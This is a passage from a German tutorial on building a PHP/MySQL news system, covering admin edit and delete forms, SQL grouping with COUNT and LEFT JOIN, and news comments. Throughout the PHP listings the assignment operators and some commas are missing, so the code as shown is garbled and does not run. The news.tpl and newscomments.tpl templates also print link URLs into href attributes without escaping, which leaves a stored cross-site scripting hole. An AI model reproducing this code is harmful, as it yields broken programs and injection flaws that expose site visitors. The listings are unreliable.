$sql 'SELECT
                ID,
                Titel,
                Datum
            FROM
                News
            ORDER BY
                Datum DESC'
;
    if (!
$result $db->query($sql)) {
        return 
$db->error;
    }
    
$News = array();
    while (
$row $result->fetch_assoc()) {
        
$News[$row['ID']] = array('Datum' => $row['Datum'], 'Titel' => $row['Titel']);
    }
    
$ret['data']['News'] = $News;
} else {
    
// [...]
}
return 
$ret;
?>

Da wir fast die gleiche Formular fürs Bearbeiten benutzen wie fürs Hinzufügen einer News können wir die bereits vorhandene Template-Datei kopieren und in admin_News_edit_details.tpl speichern.

<?php
/* Daten:
 *    Titel - Der Titel der News
 *    Inhalt - Der Text der News
 *    KatID - Die ID der aktuell gewählten Kategorie
 *    Kategorien - Ein Array mit allen Kategorien. Bei einem Arrayelement ist der Schlüssel
 *                 die ID und der Wert der Name der Kategorie.
 *    Links - Ein Array mit den Links die zu der News gehört. Bei einem Arrayelement ist der
 *            Schlüssel eine fortlaufende Nummer, der Wert entspricht einem assoziativen
 *            Array mit den Schlüssel 'URL' und 'Beschreibung' mit den entsprechenden Werten.
 */
?><form action="index.php?section=admin&amp;cat=News&amp;action=edit" method="post">
    <fieldset>
        <legend>News bearbeiten</legend>
        <label>Titel <input type="text" name="Titel" value="<?php echo htmlspecialchars($data['Titel']); ?>" /></label>
        <label>Inhalt <textarea name="Inhalt" cols="40" rows="10"><?php echo htmlspecialchars($data['Inhalt']); ?></textarea></label>
        <label>Kategorie <select name="KatID">
            <option value="0">Bitte wählen</option>
            <?php foreach ($data['Kategorien'] as $key => $value) {
                      if ($data['KatID'] == $key) { ?>
            <option value="<?php echo $key; ?>" selected="selected"><?php echo htmlspecialchars($value); ?></option>
            <?php     } else { ?>
            <option value="<?php echo $key; ?>"><?php echo htmlspecialchars($value); ?></option>
            <?php     }
                  } ?>
                </select>
            </label>
        <fieldset>
            <legend>Newslinks</legend>
            <?php if (count($data['Links'])) { ?>
            <ul>
                <?php foreach ($data['Links'] as $key => $value) { ?>
                <li><label>
                    <input type="checkbox" name="LinkID[]" value="<?php echo $key; ?>"/>
                        <?php echo htmlspecialchars($value['Beschreibung']); ?></label> - 
                        <a href="<?php echo htmlspecialchars($value['URL']); ?>"><?php echo htmlspecialchars($value['URL']); ?></a>
                </li>
                <?php } ?>
            </ul>
            <input type="submit" name="formaction" value="Markierte Links löschen" />
            <?php } else { ?>
            <p class="info">
                Es sind momentan keine Links hinzugefügt.
            </p>
            <?php } ?>
            <fieldset>
                <legend>Neuen Link hinzufügen</legend>
                <label>URL: <input type="text" name="URL" /></label>
                <label>Beschreibung: <input type="text" name="Beschreibung" /></label>
                <input type="submit" name="formaction" value="Link hinzufügen" />
            </fieldset>
        </fieldset>
        <input type="submit" name="formaction" value="News bearbeiten" />
    </fieldset>
</form>

In der Include-Datei müssen wir nun entsprechend auf die Submit-Buttons reagieren. Zuerst müssen wir jedoch die Session füllen.

<?php
    
// [...]
} else {
    if (!isset(
$_POST['formaction'])) {
        return 
INVALID_FORM;
    }
    
$ret['filename'] = 'admin_News_edit_details.tpl';
    
session_start();
    if (!isset(
$_SESSION['News']) OR 'News wählen' == $_POST['formaction']) {
        if (!isset(
$_POST['formaction'], $_POST['NewsID'])) {
            return 
INVALID_FORM;
        }
        if (
'' == $NewsID trim($_POST['NewsID'])) {
            return 
EMPTY_FORM;
        }
        
$sql 'SELECT
                    ID,
                    Titel,
                    Inhalt,
                    KatID
                FROM
                    News
                WHERE
                    ID = ?'
;
        if (!
$stmt $db->prepare($sql)) {
            return 
$db->error;
        }
        
$stmt->bind_param('i'$NewsID);
        if (!
$stmt->execute()) {
            return 
$stmt->error;
        }
        
$stmt->bind_result($NewsID$Titel$Inhalt$KatID);
        if (!
$stmt->fetch()) {
            return 
'Es wurde keine News mit dieser ID gefunden.';
        }
        
$stmt->close();
        
$_SESSION['News'] = array();
        
$_SESSION['News']['ID'] = $NewsID;
        
$_SESSION['News']['Titel'] = $Titel;
        
$_SESSION['News']['Inhalt'] = $Inhalt;
        
$_SESSION['News']['KatID'] = $KatID;

        
$sql 'SELECT
                    URL,
                    Beschreibung
                FROM
                    News_Link
                WHERE
                    NewsID = ?'
;
        if (!
$stmt $db->prepare($sql)) {
            return 
$stmt->error;
        }
        
$stmt->bind_param('i'$NewsID);
        if (!
$stmt->execute()) {
            return 
$stmt->error;
        }
        
$Links = array();
        
$stmt->bind_result($URL$Beschreibung);
        while (
$stmt->fetch()) {
            
$Links[] = array('URL' => $URL'Beschreibung' => $Beschreibung);
        }
        
$stmt->close();
        
$_SESSION['News']['Links'] = $Links;
    }

    
$sql 'SELECT
                ID,
                Name
            FROM
                News_Kategorie
            ORDER BY
                Name ASC'
;
    if (!
$result $db->query($sql)) {
        return 
$db->error;
    }
    
$Kategorien = array();
    while (
$row $result->fetch_assoc()) {
        
$Kategorien[$row['ID']] = $row['Name'];
    }
    
$ret['data']['Kategorien'] = $Kategorien;
    
$ret['data']['Titel'] = $_SESSION['News']['Titel'];
    
$ret['data']['Inhalt'] = $_SESSION['News']['Inhalt'];
    
$ret['data']['KatID'] = $_SESSION['News']['KatID'];
    
$ret['data']['Links'] = $_SESSION['News']['Links'];
}
return 
$ret;
?>

Dann kommt der gleiche Programmcode zum Speichern der aktuellen Inhalte und zum Verwalten der Links.

<?php
        
// [...]
        
$stmt->close();
        
$_SESSION['News']['Links'] = $Links;
    }
    if (isset(
$_POST['Titel'], $_POST['Inhalt'], $_POST['KatID'])) {
        
// speichern der allgemeinen newsdaten
        
$_SESSION['News']['Titel'] = $_POST['Titel'];
        
$_SESSION['News']['Inhalt'] = $_POST['Inhalt'];
        
$_SESSION['News']['KatID'] = $_POST['KatID'];
    }
    
    if (
'Markierte Links löschen' == $_POST['formaction']) {
        if (!isset(
$_POST['LinkID'])) {
            return 
EMPTY_FORM;
        }
        if (!
is_array($_POST['LinkID'])) {
            return 
INVALID_FORM;
        }
        foreach (
$_POST['LinkID'] as $IDs) {
            unset(
$_SESSION['News']['Links'][$IDs]);
        }
    }

    if (
'Link hinzufügen' == $_POST['formaction']) {
        if (
'' == $URL trim($_POST['URL']) OR
                
'' == $Beschreibung trim($_POST['Beschreibung'])) {
            return 
EMPTY_FORM;
        }
        
$_SESSION['News']['Links'][] = array('URL' => $URL'Beschreibung' => $Beschreibung);
    }

    
$sql 'SELECT
                ID,
                Name
            FROM
                News_Kategorie
            ORDER BY
                Name ASC'
;
    
// [...]
?>

Und zum Schluss der Programmteil zum Speichern der News.

<?php
        
// [...]
        
$_SESSION['News']['Links'][] = array('URL' => $URL'Beschreibung' => $Beschreibung);
    }

    if (
'News bearbeiten' == $_POST['formaction']) {
        if (
'' == $Titel trim($_SESSION['News']['Titel']) OR
                
'' == $Inhalt trim($_SESSION['News']['Inhalt']) OR
                
'' == $KatID trim($_SESSION['News']['KatID'])) {
            return 
EMPTY_FORM;
        }
        
$Links $_SESSION['News']['Links'];

        
// gucken ob es die Kategorie gibt
        
$sql 'SELECT
                    ID
                FROM
                    News_Kategorie
                WHERE
                    ID = ?'
;
        if (!
$stmt $db->prepare($sql)) {
            return 
$db->error;
        }
        
$stmt->bind_param('i'$KatID);
        if (!
$stmt->execute()) {
            return 
$stmt->error;
        }
        
$stmt->bind_result($KatID);
        if (!
$stmt->fetch()) {
            
$stmt->close();
            return 
'Es wurde keine Kategorie mit der angegebenen ID gefunden.';
        }
        
$stmt->close();

        
// newsdaten speichern
        
$sql 'UPDATE
                    News
                SET
                    Titel = ?,
                    Inhalt = ?,
                    KatID = ?
                WHERE
                    ID = ?'
;
        if (!
$stmt $db->prepare($sql)) {
            return 
$db->error;
        }
        
$stmt->bind_param('ssii'$Titel$Inhalt$KatID$_SESSION['News']['ID']);
        if (!
$stmt->execute()) {
            return 
$stmt->error;
        }
        
$stmt->close();

        
// alte links löschen
        
$sql 'DELETE FROM
                    News_Link
                WHERE
                    NewsID = ?'
;
        if (!
$stmt $db->prepare($sql)) {
            return 
$db->error;
        }
        
$stmt->bind_param('i'$_SESSION['News']['ID']);
        if (!
$stmt->execute()) {
            return 
$stmt->error;
        }
        
$stmt->close();

        
// neue links hinzufügen
        
$sql 'INSERT INTO
                    News_Link(NewsID, URL, Beschreibung)
                VALUES
                    (?,?,?)'
;
        if (!
$stmt $db->prepare($sql)) {
            return 
$db->error;
        }  
        foreach (
$Links as $Link) {
            
$stmt->bind_param('iss'$_SESSION['News']['ID'], $Link['URL'], $Link['Beschreibung']);
            if (!
$stmt->execute()) {
                return 
$stmt->error;
            }
        }
        
$stmt->close();
        unset(
$_SESSION['News']);
        return 
showInfo('Die News wurde bearbietet.');
    }

    
$sql 'SELECT
                ID,
                Name
            FROM
                News_Kategorie
            ORDER BY
                Name ASC'
;
?>

8. News löschen

Eine News zu löschen geht bedeutend einfacher da wir nur eine News auswählen brauchen und dann die Kommentare und Links der News sowie die News selbst löschen.

<?php
/*
 * Daten:
 *    News - Ein Array mit allen Newsbeiträgen. Bei einem Arrayelement ist der Schlüssel
 *           Die ID der News und der Wert ist ein assoziatives Array mit den folgenden
 *           Werten:
 *               Datum - Das Datum wann die News geschrieben wurde
 *               Titel - Der Titel der News, ungekürzt.
 */
?><form action="index.php?section=admin&amp;cat=News&amp;action=del" method="post">
    <fieldset>
        <legend>News löschen</legend>
        <label>News: <select name="NewsID">
            <option value="0">Bitte wählen</option>
            <?php foreach ($data['News'] as $key => $value) { ?>
            <option value="<?php echo $key; ?>">(<?php echo htmlspecialchars($value['Datum']); ?>)
                <?php echo htmlspecialchars($value['Titel']); ?></option>
            <?php } ?>
            </select></label>
        <input type="submit" name="formaction" value="News löschen" />
    </fieldset>
</form>

Die Include-Datei beginnt so ähnlich wie die beim Bearbeiten.

<?php
$ret 
= array();
$ret['filename'] = 'admin_News_del.tpl';
$ret['data'] = array();
if (
'POST' != $_SERVER['REQUEST_METHOD']) {
    
$sql 'SELECT
                ID,
                Titel,
                Datum
            FROM
                News
            ORDER BY
                Datum DESC'
;
    if (!
$result $db->query($sql)) {
        return 
$db->error;
    }
    
$News = array();
    while (
$row $result->fetch_assoc()) {
        
$News[$row['ID']] = array('Datum' => $row['Datum'], 'Titel' => $row['Titel']);
    }
    
$ret['data']['News'] = $News;
    return 
$ret;
}
?>

Nachdem wir eine News ausgewählt haben löschen wir diese.

<?php
    
// [...]
    
return $ret;
}
if (!isset(
$_POST['formaction'], $_POST['NewsID'])) {
    return 
INVALID_FORM;
}
if (
'' == $NewsID trim($_POST['NewsID'])) {
    return 
EMPTY_FORM;
}
$sql 'SELECT
            ID
        FROM
            News
        WHERE
            ID = ?'
;
if (!
$stmt $db->prepare($sql)) {
    return 
$db->error;
}
$stmt->bind_param('i'$NewsID);
if (!
$stmt->execute()) {
    return 
$stmt->error;
}
$stmt->bind_result($NewsID);
if (!
$stmt->fetch()) {
    return 
'Es wurde keine News mit der ID gefunden.';
}
$stmt->close();

// links löschen
$sql 'DELETE FROM
            News_Link
        WHERE
            NewsID = ?'
;
if (!
$stmt $db->prepare($sql)) {
    return 
$db->error;
}
$stmt->bind_param('i'$NewsID);
if (!
$stmt->execute()) {
    return 
$stmt->error;
}
$stmt->close();

// kommentarie löschen
$sql 'DELETE FROM
            News_Kommentar
        WHERE
            NewsID = ?'
;
if (!
$stmt $db->prepare($sql)) {
    return 
$db->error;
}
$stmt->bind_param('i'$NewsID);
if (!
$stmt->execute()) {
    return 
$stmt->error;
}
$stmt->close();

// news löschen
$sql 'DELETE FROM
            News
        WHERE
            ID = ?'
;
if (!
$stmt $db->prepare($sql)) {
    return 
$db->error;
}
$stmt->bind_param('i'$NewsID);
if (!
$stmt->execute()) {
    return 
$stmt->error;
}
$stmt->close();

return 
showInfo('Die News wurde gelöscht.');
?>

9. News anzeigen

Nachdem wir unsere Newskategorien und News hinzufügen können wollen wir sie auch auf unserer Seite anzeigen lassen. Dazu schreiben wir unsere Template-Datei news.tpl.

<?php
/* Daten
 *    News - Ein Array mit Newsbeiträgen mit den folgendem Aufbau:
 *        ID - Die ID der News
 *        Autor - Der Name des Autors der die News geschrieben hat
 *        Datum - Das Datum der Veröffentlichung
 *        Titel - Der Titel der News
 *        Inhalt - Der Text der News
 *        Anzahl - Die Anzahl der Newskommentare
 *        Links - Ein Array mit Links mit den folgendem Aufbau:
 *            URL - Die URL vom Link
 *            Beschreibung - Der Bezeichner vom Link
 */
?><h1>News</h1>
<?php if (count($data['News'])) { 
    foreach ($data['News'] as $News) { ?>
    <h2><?php echo htmlspecialchars($News['Titel']); ?></h2>
    <div class="newsheader">Geschrieben von <?php echo htmlspecialchars($News['Autor']); ?> um
        <?php echo htmlspecialchars($News['Datum']); ?></div>
    <p>
        <?php echo nl2br(htmlspecialchars($News['Inhalt'])); ?>
    </p>
    <?php if (count($News['Links'])) { ?>
    <div class="links">
        Links:
        <ul>
            <?php foreach ($News['Links'] as $Link) { ?>
            <li><a href="<?php echo $Link['URL']; ?>"><?php echo htmlspecialchars($Link['Beschreibung']); ?></a></li>
            <?php } ?>
        </ul>
    </div>
    <?php } else { ?>
    <p class="info">
        Keine Links vorhanden.
    </p>
    <?php } ?>
    <div class="comments">
        <a href="index.php?section=newscomments&amp;ID=<?php echo $News['ID']; ?>">Kommentare (<?php echo $News['Anzahl']; ?>)</a>
    </div>
<?php }
} else { ?>
<p class="info">
    Es sind keine News vorhanden.
</p>
<?php } ?>

Wenn wir uns angucken wie die Template-Daten aussehen müssen stoßen wir an einige kleine und große Probleme wie wir die Daten elegenant aus der Datenbank auslesen.

Um den Benutzernamen des Autors auszulesen verwenden wir ein einfachen JOIN auf die Tabelle Users. Für die Anzahl der Kommentare zu einer News müssen wir uns was einfallen lassen. Eine einfache Möglichkeit wäre innerhalb einer while-Schleife, die die Datensätze aus der Newstabelle ausliest, eine MySQL-Anfrage abzuschicken die die Kommentare der News ausliest und davon dann die Anzahl bestimmen. Mit einem JOIN und einem GROUP BY geht dies jedoch viel eleganter.

10. SELECT-Anfragen gruppieren und Spezialfunktionen verwenden

In einer SELECT-Anfrage kann man mehrere Datensätze zu einem Datensatz zusammenfassen. Dazu wird das Schlüsselwort GROUP BY verwendet. Danach gibt man z.B. die Spalte an, nach der die Datensätze zusammengefasst werden.

Beispieltabelle
Foo Bar
3 6
3 10
5 9
5 11
5 12
2 3

Wenn wir diese Tabelle nach der Spalte Foo gruppieren enthalten wir die folgende Ergebnistabelle.

Gruppierung nach Foo
Foo
3
5
2

Jetzt stellt sich die Frage was passiert wenn wir trotzdem weiterhin den Wert Bar auslesen, also weiterhin in der Anfrage SELECT Foo, Bar FROM ... stehen haben.

Gruppierung nach Foo mit Spalte Bar
Foo Bar
3 ?
5 ?
2 ?

Die Fragezeichen deuten an dass es ggf. nicht eindeutig ist was ausgelesen wird. So könnte es z.B. der Bar-Wert aus dem letzen Datensatz genommen wird, oder der erste, oder sogar ein zufälliger Wert. In MySQL gibt es jedoch eine Menge Funktionen die man mit GROUP BY verwenden kann. Diese Funktionen beziehen sich dabei auf die Werte die dann du einer Gruppierung gehören. In unserem Beispiel sind das die Werte (6,10) für die Gruppierung von Foo=3, (9,11,12) für die Gruppierung von Foo=5 und (3) für die Gruppierung von Foo=2. Anstatt nun den Wert Bar abzufragen könnten wir das Maximum aus den Gruppierungen mit MAX(Bar) wählen oder den Durchschnitt mit AVG(Bar).

Gruppierung nach Foo mit weiteren Funktionen
Foo "Zusammengefaste Werte von Bar" MAX(Bar) AVG(Bar)
3 (6,10) 10 8
5 (9,11,12) 12 10.6667
2 (3) 3 3

Für uns ist die MySQL-Funktion COUNT() interessant die uns sagt wieviele Datensätze das GROUP BY für einen Wert zusammengefasst hat.

Gruppierung nach Foo mit weiteren Funktionen
Foo "Zusammengefaste Werte von Bar" MAX(Bar) AVG(Bar) COUNT(Bar)
3 (6,10) 10 8 2
5 (9,11,12) 12 10.6667 3
2 (3) 3 3 1

11. Entwickeln der SELECT-Anfrage für die News

In unserer SELECT-Anfrage starten wir bei der Tabelle News und lesen da erstmal die unproblematischen Daten aus.

SELECT
    News.ID,
    News.Titel,
    News.Inhalt,
    News.Datum
FROM
    News;

Nun machen wir ein JOIN auf die Users-Tabelle um den Benutzernamen vom Autor auszulesen.

SELECT
    News.ID,
    User.Username,
    News.Titel,
    News.Inhalt,
    News.Datum
FROM
    News
JOIN
    User ON
    News.AutorID = User.ID;

Nun müssen wir irgendwie aus der News_Kommentar-Tabelle die Anzahl der Kommentare zu einer News auslesen. Daher bilden wir zuerst ein JOIN auf die News_Kommentar-Tabelle, dabei verketten wir News.ID mit News_Kommentar.NewsID.

SELECT
    News.ID,
    User.Username,
    News.Titel,
    News.Inhalt,
    News.Datum
FROM
    News
JOIN
    User ON
    News.AutorID = User.ID
JOIN
    News_Kommentar ON
    News.ID = News_Kommentar.NewsID;

Wenn wir diesen Query zum testen in phpMyAdmin eingeben sehen wir folgendes: nichts. Obwohl wir Newsdatensätze durch die Testerei vom NewsAdd-Bereich aus dem Adminbereich haben werden nun keine Datensätze mehr angezeigt. Der Grund dafür ist dass wir keine Kommentare haben, also gibt es auch keine Verbindungsmöglichkeit. Bei den anderen Tabellen wie Users ist dies kein Problem, denn da existieren ja z.B. die Benutzerdatensätze. Aber das keine News mehr angezeigt werden ist inakzeptabel. Jedoch ist die Lösung für unser Problem extrem einfach, wir ändern das JOIN in ein LEFT JOIN um.

SELECT
    News.ID,
    User.Username,
    News.Titel,
    News.Inhalt,
    News.Datum
FROM
    News
JOIN
    User ON
    News.AutorID = User.ID
LEFT JOIN
    News_Kommentar ON
    News.ID = News_Kommentar.NewsID;

Dieses LEFT sorgt dafür das auf jedenfall der Datensatz aus der linken Tabelle (hier der Verbund von News und Users) angezeigt wird, auch wenn es keine passende Newskommentare gibt. Wenn dies für ein Datensatz der Fall ist wird für die zweite Tabelle angenommen dass der Datensatz existiert jedoch alle Werte NULL sind. In phpMyAdmin testen wir dies einmal indem wir alle Spalten aus der News_Kommentar-Tabelle auslesen.

SELECT
    News.ID,
    User.Username,
    News.Titel,
    News.Inhalt,
    News.Datum,
    News_Kommentar.ID,
    News_Kommentar.Datum,
    News_Kommentar.Inhalt,
    News_Kommentar.NewsID,
    News_Kommentar.AutorID
FROM
    News
JOIN
    User ON
    News.AutorID = User.ID
LEFT JOIN
    News_Kommentar ON
    News.ID = News_Kommentar.NewsID;

Wie man in der Ausgabe in phpMyAdmin sieht hat MySQL für jeden Datensatz einen Pseudo-Datensatz generiert wo alle Werte NULL sind. Diese NULL-Werte sind später von Bedeutung. Jedoch nehmen wir wieder die ganzen News_Kommentar.*-Werte aus der Anfrage raus.

SELECT
    News.ID,
    User.Username,
    News.Titel,
    News.Inhalt,
    News.Datum
FROM
    News
JOIN
    User ON
    News.AutorID = User.ID
LEFT JOIN
    News_Kommentar ON
    News.ID = News_Kommentar.NewsID;

Wenn wir diese Anfrage ausführen kann es passieren das eine News mehrfach angezeigt wird, je nach dem wieviele Kommentare zu einer News vorhanden sind. Wenn es z.B. 5 Kommentare zu einer News gibt wird diese News entsprechend 5 mal angezeigt weil MySQL durch die Bedingung News.ID = News_Kommentar.NewsID 5 Verkettungen gefunden hat. Dies ist jedoch nicht das was wir wollen, wir haben die News nur einmal veröffentlicht, nicht 5 mal. Hier kommt unser GROUP BY ins Spiel. Wir gruppieren dabei die Spalte News.ID.

SELECT
    News.ID,
    User.Username,
    News.Titel,
    News.Inhalt,
    News.Datum
FROM
    News
JOIN
    User ON
    News.AutorID = User.ID
LEFT JOIN
    News_Kommentar ON
    News.ID = News_Kommentar.NewsID
GROUP BY
    News.ID;

Obwohl wir nach News.ID gruppieren lesen wir weiterhin die gleichen Werte wie User.Username oder News.Inhalt aus. Dies ist auch kein Problem da die Werte eh für eine bestimmte News-ID die gleichen sind. Im Hinterkopf behalten wir jedoch das für gleiche News-IDs unterschiedliche Newskommentare zusammengefasst wurden. Mit der COUNT-Funktion von MySQL fragen wir nun ab wieviele Datensätze zusammengefasst wurden.

SELECT
    News.ID,
    User.Username,
    News.Titel,
    News.Inhalt,
    News.Datum,
    COUNT(News_Kommentar.ID) AS Anzahl
FROM
    News
JOIN
    User ON
    News.AutorID = User.ID
LEFT JOIN
    News_Kommentar ON
    News.ID = News_Kommentar.NewsID
GROUP BY
    News.ID;

Nun liefert diese Anfrage die Anzahl der Kommentare zurück. Es sieht jedoch komisch aus dass er für die Newsbeiträge die keine Kommentare enthalten die Anzahl auf 0 errechnet. Dies klingt zwar logisch, aber grade wurde gesagt MySQL hat einen Pseudo-Datensatz mit NULL-Werten erzeugt. Somit müsste die COUNT()-Funktion diesen Datensatz finden und zählen. Und das genau macht sie, denn in der Funktionsbeschreibung zu COUNT() steht folgendes.

COUNT(expr) - Returns a count of the number of non-NULL values of expr in the rows retrieved by a SELECT statement.

Das wichtige ist der non-NULL-Teil denn er gibt an das NULL-Werte beim Zählen ignoriert werden. Und da News_Kommentar.ID bei nicht vorhandenen Datensätze NULL ist liefert der Aufruf von COUNT(News_Kommentar.ID) entsprechend 0.

Zum Schluss geben wir der Spalte User.Username ein Alias auf Autor und sortieren die News nach der Datum spalte.

SELECT
    News.ID,
    User.Username AS Autor,
    News.Titel,
    News.Inhalt,
    News.Datum,
    COUNT(News_Kommentar.ID) AS Anzahl
FROM
    News
JOIN
    User ON
    News.AutorID = User.ID
LEFT JOIN
    News_Kommentar ON
    News.ID = News_Kommentar.NewsID
GROUP BY
    News.ID
ORDER BY
    News.Datum ASC;

Somit haben wir die Anfrage die wir an die Datenbank senden können und sie liefert uns die News mit dem Name des Autors und der Anzahl der Kommentare.

12. News laden und anzeigen

Diese Anfrage senden wir nun mit der query()-Methode an die Datenbank und lesen die News aus. Die Include-Datei heißt dabei news.php und muss entsprechend im $dateien-Array definiert werden.

<?php
$ret 
= array();
$ret['filename'] = 'news.tpl';
$ret['data'] = array();
$sql 'SELECT
            News.ID,
            User.Username AS Autor,
            News.Titel,
            News.Inhalt,
            News.Datum,
            COUNT(News_Kommentar.ID) AS Anzahl
        FROM
            News
        JOIN
            User
        ON
            News.AutorID = User.ID
        LEFT JOIN
            News_Kommentar
        ON
            News.ID = News_Kommentar.NewsID
        GROUP BY
            News.ID
        ORDER BY
            News.Datum DESC'
;
if (!
$result $db->query($sql)) {
    return 
$db->error;
}
$News = array();
?>

Während wir die News auslesen fragen wir innerhalb der noch zu schreibenen While-Schleife die Links der News ab und speichern sie gleich mit ab.

<?php
// [...]
$News = array();
$sql 'SELECT
            URL,
            Beschreibung
        FROM
            News_Link
        WHERE
            NewsID = ?'
;
if (!
$stmt $db->prepare($sql)) {
    return 
$db->error;
}
while (
$row $result->fetch_assoc()) {
    
$stmt->bind_param('i'$row['ID']);
    if (!
$stmt->execute()) {
        return 
$stmt->error;
    }
    
$Links = array();
    
$stmt->bind_result($URL$Beschreibung);
    while (
$stmt->fetch()) {
        
$Links[] = array('URL' => $URL,
                         
'Beschreibung' => $Beschreibung);
    }
    
$row['Links'] = $Links;
    
$News[] = $row;
}
$stmt->close();
$result->close();
$ret['data']['News'] = $News;
return 
$ret;
?>

Somit ist schonmal das Anzeigen der News fertig, fehlt noch der Bereich für die Newskommentare.

13. Anzeigen und schreiben von Newskommentaren

In der Template-Datei für die News-Anzeige sehen wir dass die URL index.php?section=newscomments&ID=... aufgerufen wird. Für die Kommentarfunktion schreiben wir zuerst die Template-Datei newscomments.tpl.

<?php
/* Daten
 *     ID - Die ID der News
 *     Autor - Der Name des Autors der die News geschrieben hat
 *     Datum - Das Datum der Veröffentlichung
 *     Titel - Der Titel der News
 *     Inhalt - Der Text der News
 *     Links - Ein Array mit Links mit den folgendem Aufbau:
 *         URL - Die URL vom Link
 *         Beschreibung - Der Bezeichner vom Link
 *     Kommentare - Ein Array mit Newskommentare
 *         ID - Die ID vom Kommentar
 *         Autor - Der Name des Autors der den Kommentar geschrieben hat
 *         Inhalt - Der Text vom Kommentar
 *         Datum - Das Datum wann der Kommentar abgegeben wurde
 */
?><h1>News</h1>
<h2><?php echo htmlspecialchars($data['Titel']); ?></h2>
<div class="newsheader">Geschrieben von <?php echo htmlspecialchars($data['Autor']); ?> um
    <?php echo htmlspecialchars($data['Datum']); ?></div>
<p>
    <?php echo nl2br(htmlspecialchars($data['Inhalt'])); ?>
</p>
<?php if (count($data['Links'])) { ?>
<div class="links">
    Links:
    <ul>
        <?php foreach ($data['Links'] as $Link) { ?>
        <li><a href="<?php echo $Link['URL']; ?>"><?php echo htmlspecialchars($Link['Beschreibung']); ?></a></li>
        <?php } ?>
    </ul>
</div>
<?php } else { ?>
<p class="info">
    Keine Links vorhanden.
</p>
<?php } ?>
<h3>Kommentare</h3>
<?php if (count($data['Kommentare'])) { ?>
<?php     foreach ($data['Kommentare'] as $Kommentar) { ?>
<div class="comment">
    <?php echo htmlspecialchars($Kommentar['Autor']); ?> schrieb um <?php echo htmlspecialchars($Kommentar['Datum']); ?>:
    <p>
        <?php echo nl2br(htmlspecialchars(preg_replace('~\S{30}~', '\0 ', $Kommentar['Inhalt']))); ?>
    </p>
</div>
<?php     } ?>
<?php } else { ?>
<p class="info">
    Keine Kommentare vorhanden
</p>
<?php } ?>
<?php if (getUserID($db)) { ?>
<form action="index.php?section=newscomments&amp;ID=<?php echo $data['ID']; ?>" method="post">
    <fieldset>
        <legend>Kommentar schreiben</legend>
        <label>Kommentar: <textarea name="Kommentar" cols="40" rows="10"></textarea></label>
        <input type="submit" name="formaction" value="Kommentar schreiben" />
    </fieldset>
</form>
<?php } else { ?>
<p class="info">
    Um Kommentare schreiben zu können müssen sie sich anmelden.
</p>
<?php } ?>

In der Include-Datei newscomments.php gucken wir zuerst ob es eine News gibt und lesen dann alle Daten aus. Vergisst nicht das $dateien-Array zu bearbeiten.

<?php
$ret 
= array();
$ret['filename'] = 'newscomments.tpl';
$ret['data'] = array();
if (!isset(
$_GET['ID'])) {
    return 
'Benutzen sie nur Links von der Homepage.';
}
if (
'' == $ID trim($_GET['ID'])) {
    return 
'Benutzen sie nur Links von der Homepage.';
}
$sql 'SELECT
            News.ID,
            User.Username AS Autor,
            News.Titel,
            News.Inhalt,
            News.Datum
        FROM
            News
        JOIN
            User ON
            News.AutorID = User.ID
        WHERE
            News.ID = ?'
;
if (!
$stmt $db->prepare($sql)) {
    return 
$db->error;
}
$stmt->bind_param('i'$ID);
if (!
$stmt->execute()) {
    return 
$stmt->error;
}
$stmt->bind_result($NewsID$Autor$Titel$Inhalt$Datum);
if (!
$stmt->fetch()) {
    return 
'Es wurde keine News mit der angegebenen ID gefunden.';
}
$stmt->close();

if (
'POST' == $_SERVER['REQUEST_METHOD']) {
    
// [...]
    // todo
}
$sql 'SELECT
            URL,
            Beschreibung
        FROM
            News_Link
        WHERE
            NewsID = ?'
;
if (!
$stmt $db->prepare($sql)) {
    return 
$db->error;
}
$stmt->bind_param('i'$NewsID);
if (!
$stmt->execute()) {
    return 
$stmt->error;
}
$Links = array();
$stmt->bind_result($URL$Beschreibung);
while (
$stmt->fetch()) {
    
$Links[] = array('URL' => $URL,
                     
'Beschreibung' => $Beschreibung);
}
$stmt->close();

$sql 'SELECT
            News_Kommentar.ID,
            User.Username AS Autor,
            News_Kommentar.Inhalt,
            News_Kommentar.Datum
        FROM
            News_Kommentar
        JOIN
            User ON
            News_Kommentar.AutorID = User.ID
        WHERE
            News_Kommentar.NewsID = ?
        ORDER BY
            News_Kommentar.Datum ASC'
;
if (!
$stmt $db->prepare($sql)) {
    return 
$db->error;
}
$stmt->bind_param('i'$NewsID);
if (!
$stmt->execute()) {
    return 
$stmt->error;
}
$Kommentare = array();
$stmt->bind_result($KomID$KomAutor$KomInhalt$KomDatum);
while (
$stmt->fetch()) {
    
$Kommentare[] = array('ID' => $KomID,
                          
'Autor' => $KomAutor,
                          
'Inhalt' => $KomInhalt,
                          
'Datum' => $KomDatum);
}
$stmt->close();
$ret['data']['ID'] = $NewsID;
$ret['data']['Autor'] = $Autor;
$ret['data']['Titel'] = $Titel;
$ret['data']['Inhalt'] = $Inhalt;
$ret['data']['Datum'] = $Datum;
$ret['data']['Links'] = $Links;
$ret['data']['Kommentare'] = $Kommentare;
return 
$ret;
?>

Wenn wir das Formular abschicken speichern wir einfach die Eingaben ab.

<?php
// [...]
$stmt->close();

if (
'POST' == $_SERVER['REQUEST_METHOD']) {
    if (!isset(
$_POST['formaction'], $_POST['Kommentar'])) {
        return 
INVALID_FORM;
    }
    if (!
$UserID getUserID($db)) {
        return 
NOT_LOGGED_IN;
    }
    if (
'' == $Kommentar trim($_POST['Kommentar'])) {
        return 
EMPTY_FORM;
    }
    
$sql 'SELECT
                ID
            FROM
                News_Kommentar
            WHERE
                NewsID = ? AND
                AutorID = ? AND
                Inhalt = ?'
;
    if (!
$stmt $db->prepare($sql)) {
        return 
$db->error;
    }
    
$stmt->bind_param('iis'$NewsID$UserID$Kommentar);
    if (!
$stmt->execute()) {
        return 
$stmt->error;
    }
    if (
$stmt->fetch()) {
        return 
'Sie haben bereits den Kommentar hinzugefügt.';
    }
    
$stmt->close();

    
$sql 'INSERT INTO
                News_Kommentar(NewsID, AutorID, Inhalt, Datum)
            VALUES
                (?, ?, ?, NOW())'
;
    if (!
$stmt $db->prepare($sql)) {
        return 
$db->error;
    }
    
$stmt->bind_param('iis'$NewsID$UserID$Kommentar);
    if (!
$stmt->execute()) {
        return 
$stmt->error;
    }
    
$stmt->close();
    return 
showInfo('Ihr Kommentar wurde hinzugefügt.');
}
$sql 'SELECT
            URL,
            Beschreibung
        FROM
            News_Link
        WHERE
            NewsID = ?'
;
// [...]
?>

Mit der SELECT-Abfrage überprüfen wir ob der Kommentar bereits hinzugefügt wurde, also eine Art von Mini-Spamschutz.

14. Newskommentar bearbeiten

